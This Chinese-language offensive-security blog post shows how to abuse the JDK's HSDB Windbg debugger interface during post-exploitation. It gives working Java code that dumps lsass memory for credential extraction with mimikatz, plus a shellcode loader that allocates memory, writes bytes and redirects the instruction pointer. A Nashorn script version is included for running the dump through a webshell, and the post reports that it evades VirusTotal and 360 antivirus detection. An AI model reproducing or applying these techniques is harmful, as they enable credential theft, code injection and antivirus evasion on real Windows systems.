JVM HSDB在后渗透中的利用

HSDB(Hotspot Debugger),是JDK自带的调试工具,可用于调试JVM 运行时数据。 最近在学习Beichen师傅《JVM核心对抗》PPT的时候,注意到提到了HSDB的一个玩法:利用其中的windbg调试接口进行dump lsass以及加载Shellcode操作,本文进行学习以及一些武器化利用扩展。

lsass是windows中处理本地安全和登录策略的重要进程,几乎所有的windows身份认证程序都离不开lsass进程。因此在lsass的内存中会保存用户相关的凭证。它是windows主机中凭证的重要组成部分,因此获取lsass内存也是MITRE ATT&CK框架中Credential Access战术下的重要技术点。

由于许多带签名的正常程序都需要用到内存dump功能,让用户能查看进程在内存中的信息,所以以往的对抗主要是通过一些常见的白进程签名程序,利用程序的正常功能来获取windows lsass中的内存。不过由于用得太多了,基本都已经被各大杀软所监控标记。今天的HSDB属于一个新的小众白名单利用。 核心原理是JVM在调试进程的时候,会调用windbg接口,并且支持输入自定义的windbg语句,从而实现dump lsass 具体代码

1
2
3
4
5
6
public static void dumper(int pid, String path) {
      WindbgDebuggerLocal debuggerLocal = new WindbgDebuggerLocal(new MachineDescriptionAMD64(), false);
      debuggerLocal.attach(pid);
      System.out.println(debuggerLocal.consoleExecuteCommand(".dump /ma " + path));
      debuggerLocal.detach();
  }

打包个jar运行,发现已经成功dump了lsass

image.png
然后用mimikatz dump出其中的凭证
image.png
VT 0/62
image.png
免杀360无告警
image.png

为了对比测试,继续跑一下已经公开过的白利用。360告警拦截,dump提示拒绝访问。

image.png
image.png

windbg是一款很强大的调试工具,我们还可以利用该接口进行ShellCode的加载。基本流程:

  • 申请内存
  • 写入Shellcode
  • 修改当前运行指针到Shellcode位置

Beichen师傅的PPT里没有贴写入Shellcode的实现代码,这里其实有很多种方式,我这里采用eb命令实现。其实用Unsafe也可以,但是Unsafe特征比较明显。 核心代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public static void Runshellcode(int pid, String shellcode) {
      WindbgDebuggerLocal debuggerLocal = new WindbgDebuggerLocal(new MachineDescriptionAMD64(), false);
      debuggerLocal.attach(pid);
      System.out.println(shellcode.length());
      String result = debuggerLocal.consoleExecuteCommand(".dvalloc 10000");
      String addressToken = "starting at ";
      System.out.println(result);
      int index = result.indexOf(addressToken);
      String address = result.substring(index + addressToken.length()).trim();
      String s1 = debuggerLocal.consoleExecuteCommand("eb " + address + " " + hexFormat(shellcode));
      System.out.println(s1);
      String s2 = debuggerLocal.consoleExecuteCommand("r @$ip=" + address);
      System.out.println(s2);
      debuggerLocal.detach();
  }

image.png
同样秒过3xx。

image.png
当然这里只是注入方式不被查杀,如果是cs或者msf还要改一下内存特征。

必须是JDK下的jre运行才可以,否则可能会产生以下报错

image.png
解决办法:复制jdk下的dll到对应目录下
image.png
https://blog.csdn.net/fl_zxf/article/details/42689569

不同版本的sa-jdi可能不一样,如果选择jar方式的话要打包跟目标JDK环境一致的依赖,这样有点麻烦。 除了打一个jar包以外,还可以单文件执行

1
java -cp ".;c:\\xxxxx\\sa-jdi.jar" Exp

想要在WebShell中利用需要满足两点:

  1. 加载sa-jdi.jar到ClassLoader
  2. 加载调用逻辑

对于第一点,sa-jdi.jar在JDK中默认存在,不需要额外上传,只需要用JarLoader功能加载一下就可以了 第二点,在As-Exploits 1.5中新增了JS引擎执行模块,这里我采用了JS引擎来实现功能的调用。(当然写个Class编译然后再defineClass加载也可以,稍微有点麻烦) 将payload改写为nashorn语法,跑一下看起来没问题

image.png

1
2
3
4
5
6
7
8
var windbg = Java.type("sun.jvm.hotspot.debugger.windbg.WindbgDebuggerLocal");
var desc = Java.type("sun.jvm.hotspot.debugger.MachineDescriptionAMD64");
var debuggerLocal = new windbg(new desc(), false);
debuggerLocal.attach(784);
java.lang.System.out.println(
  debuggerLocal.consoleExecuteCommand(".dump /ma ./dsds")
);
debuggerLocal.detach();

具体操作:

image.png
image.png
到目录界面看,dump文件已经生成了
image.png